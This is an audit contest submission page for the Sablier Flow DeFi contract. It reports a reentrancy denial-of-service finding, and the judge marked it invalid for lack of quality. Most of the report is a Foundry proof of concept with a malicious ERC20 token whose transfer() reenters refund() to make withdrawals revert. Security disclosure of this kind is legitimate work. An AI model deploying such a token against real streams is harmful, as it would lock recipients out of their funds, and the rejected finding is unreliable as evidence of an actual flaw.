Flow

Sablier
FoundryDeFi
20,000 USDC
View results
Submission Details
Severity: medium
Invalid

Reentrancy with special token can make withdraw impossible

Summary

With a specially crafted token it is possible to reenter the withdraw function and cause the final assert to fail, thereby cause the whole withdraw to fail.

Vulnerability Details

At the end of SablierFlow._withdraw after token.safeTransfer there is an assert:

assert(totalDebt - _totalDebtOf(streamId) == balance - _streams[streamId].balance)

If an attacker can somehow control an IERC20 token's transfer method, it is possible to reenter the withdraw function. If the attacker e.g. refunds a small amount during the withdraw, than the assertio will fail, and thus the withdraw will be reverted.

The following tests demonstrate this concept:

ReentranceTest.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22;
import { Base_Test } from "../Base.t.sol";
import { ud21x18, UD21x18 } from "@prb/math/src/UD21x18.sol";
import { console } from "forge-std/src/console.sol";
import { Flow } from "../../src/types/DataTypes.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ReentereToken } from "../mocks/ReentereToken.sol";
contract ReentranceTest is Base_Test {
uint256 streamId;
mapping(Flow.Status => string) enunNames;
ReentereToken private specToken;
function setUp() public override {
super.setUp();
specToken = new ReentereToken("Rps adjuster token", "RPS", 18, address(flow));
UD21x18 rps = ud21x18(1e18);
users.sender = payable((address)(specToken));
streamId = flow.create(users.sender, users.recipient, rps, specToken, true);
specToken.setStreamId(streamId);
specToken.setRecipientAddress(users.recipient);
enunNames[Flow.Status.STREAMING_SOLVENT] = "STREAMING_SOLVENT";
enunNames[Flow.Status.STREAMING_INSOLVENT] = "STREAMING_INSOLVENT";
enunNames[Flow.Status.PAUSED_SOLVENT] = "PAUSED_SOLVENT";
enunNames[Flow.Status.PAUSED_INSOLVENT] = "PAUSED_INSOLVENT";
enunNames[Flow.Status.VOIDED] = "VOIDED";
}
function testCanReenterFromTransfer() public {
address sender = flow.getSender(streamId);
address recipient = flow.getRecipient(streamId);
resetPrank(sender);
deal({ token: address(specToken), to: sender, give: 1e30 });
safeApprove(1e30, address(specToken));
flow.deposit(streamId, 1e25, sender, recipient);
skip(1000);
console.log(
"Deposited to Stream (streamId: %s). Status is: %s. Total debt is: %s",
streamId,
getStreamStatus(streamId),
flow.totalDebtOf(streamId)
);
resetPrank(recipient);
flow.withdraw(streamId, recipient, 100);
}
function getStreamStatus(uint256 _streamId) private view returns (string memory) {
return enunNames[flow.statusOf(_streamId)];
}
function safeApprove(uint256 amount, address token) internal {
(bool success,) = token.call(abi.encodeCall(IERC20.approve, (address(flow), amount)));
success;
}
}

ReentereToken.sol (placed in tests/mocks)

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22;
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { SablierFlow } from "../../src/SablierFlow.sol";
import { ud21x18, UD21x18 } from "@prb/math/src/UD21x18.sol";
contract ReentereToken is ERC20 {
uint8 internal immutable DECIMAL;
SablierFlow internal immutable flow;
address recipient;
uint256 streamId;
uint256 callCnt;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
address flowAddress_
)
ERC20(name_, symbol_)
{
DECIMAL = decimals_;
flow = (SablierFlow)(flowAddress_);
}
function decimals() public view override returns (uint8) {
return DECIMAL;
}
function transfer(address to, uint256 value) public override returns (bool) {
//flow.adjustRatePerSecond(streamId, ud21x18(1e30));
if (to == recipient && callCnt < 2) {
flow.refund(streamId, 10);
callCnt++;
}
return super.transfer(to, value);
}
function setStreamId(uint256 streamiId_) public {
streamId = streamiId_;
}
function setRecipientAddress(address recipient_) public {
recipient = recipient_;
}
}

Impact

Altough an attacker (who is the sender of a flow) can craft a token for the special purpose of reentering into a withdraw, it is unlikely that such a token would gain enough popularity to be accepted by real recipients. It is more likely that an attacker can find some already existing token which itself makes a direct call from it's transfer function to an attacker-controled address. In such a case reentering SablierFlow is still possible, and in this case an attacker could permanently deny access for someone to withdraw from a flow (created by the attacker). This violates the contracts assumption, that recipients can withdraw covered debt any time.

Tools Used

Recommendations

I suggest using OpenZepplin's ReentrancyGuardwith the nonReentrant() modifyer on every public function in SablierFlow.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.